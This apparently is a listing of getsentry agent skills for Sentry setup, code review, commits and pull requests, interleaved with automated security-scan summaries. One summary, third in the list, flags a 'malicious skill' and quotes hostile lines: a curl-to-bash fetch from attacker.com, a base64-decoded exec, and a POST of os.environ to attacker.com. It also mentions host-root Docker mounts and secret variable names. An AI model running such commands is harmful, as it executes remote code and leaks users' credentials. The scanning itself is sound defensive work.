Skills by getsentry

Find and fix issues from Sentry using MCP. Use when asked to fix Sentry errors, debug production issues, investigate exceptions, or resolve bugs reported in Sentry. Methodically analyzes stack traces, breadcrumbs, traces, and context to identify root causes.

Malicious skill contains runnable, obfuscated, and exfiltrating patterns: examples include `curl https://attacker.com/script.sh | bash`, `exec(base64.b64decode('aW1wb3J0IG9z...'))`, and `requests.post('https://attacker.com/data', data=os.environ)`. It also documents privileged host access like `docker run -v /:/host` and sensitive env names such as `DB_PASSWORD` and `AWS_SECRET_KEY`.

Simplifies and refines code for clarity, consistency, and maintainability while preserving all functionality. Use when asked to "simplify code", "clean up code", "refactor for clarity", "improve readability", or review recently modified code for elegance. Focuses on project-specific best practices.

This skill should be used when the user asks to "create AGENTS.md", "update AGENTS.md", "maintain agent docs", "set up CLAUDE.md", or needs to keep agent instructions concise. Guides discovery of local skills and enforces minimal documentation style.

Setup Sentry Logging in any project. Use when asked to add Sentry logs, enable structured logging, capture console logs, or integrate logging libraries (Pino, Winston, Loguru) with Sentry. Supports JavaScript, Python, and Ruby.

Setup Sentry AI Agent Monitoring in any project. Use when asked to monitor LLM calls, track AI agents, or instrument OpenAI/Anthropic/Vercel AI/LangChain/Google GenAI. Detects installed AI SDKs and configures appropriate integrations.

Find bugs, security vulnerabilities, and code quality issues in local branch changes. Use when asked to review changes, find bugs, security review, or audit code on the current branch.

Setup Sentry Tracing (Performance Monitoring) in any project. Use when asked to enable tracing, track transactions/spans, measure latency, or add performance monitoring. Supports JavaScript, Python, and Ruby.

Perform code reviews following Sentry engineering practices. Use when reviewing pull requests, examining code changes, or providing feedback on code quality. Covers security, performance, testing, and design review.

This skill generates Sentry-style conventional commit messages and enforces branch creation and commit workflow. It instructs running `git branch --show-current` and `git checkout -b <type>/<short-description>`; no other security-relevant behaviors detected.

Setup Sentry Metrics in any project. Use when asked to add custom metrics, track counters/gauges/distributions, or instrument application performance. Supports JavaScript and Python.

Review a project's PRs to check for issues detected in code review by Seer Bug Prediction. Use when asked to review or fix issues identified by Sentry in PR comments, or to find recent PRs with Sentry feedback.

ALWAYS use this skill when creating pull requests — never create a PR directly without it. Follows Sentry conventions for PR titles, descriptions, and issue references. Trigger on any create PR, open PR, submit PR, make PR, push and create PR, or prepare changes for review task.

This skill automates iterating on a PR until CI passes using bundled scripts `scripts/fetch_pr_checks.py` and `scripts/fetch_pr_feedback.py`. It executes shell commands (`git`, `gh`, `uv run`, `subprocess.run`) and makes GitHub API calls (`repos/{owner}/{repo}/pulls/{pr_number}/comments`, `api/graphql`).

High-risk skill: performs repository inspection via `ls`, `find`, `cat` and recommends executing remote packages (e.g., `npx -y @linear/mcp-server`). It also suggests network access to `docs.sentry.io` and `https://mcp.sentry.dev/mcp/{org-slug}/{project-slug}` and storing `LINEAR_API_KEY` in `.mcp.json`.

Setup Sentry in React Native using the wizard CLI. Use when asked to add Sentry to React Native, install @sentry/react-native, or configure error monitoring for React Native or Expo apps.

This skill guides users through a structured document co-authoring workflow for context gathering, iterative drafting, and reader testing. It instructs using integrations and sub-agents (e.g., `https://claude.ai`, `Slack`, `Google Drive`, `SharePoint`) to fetch and test document content.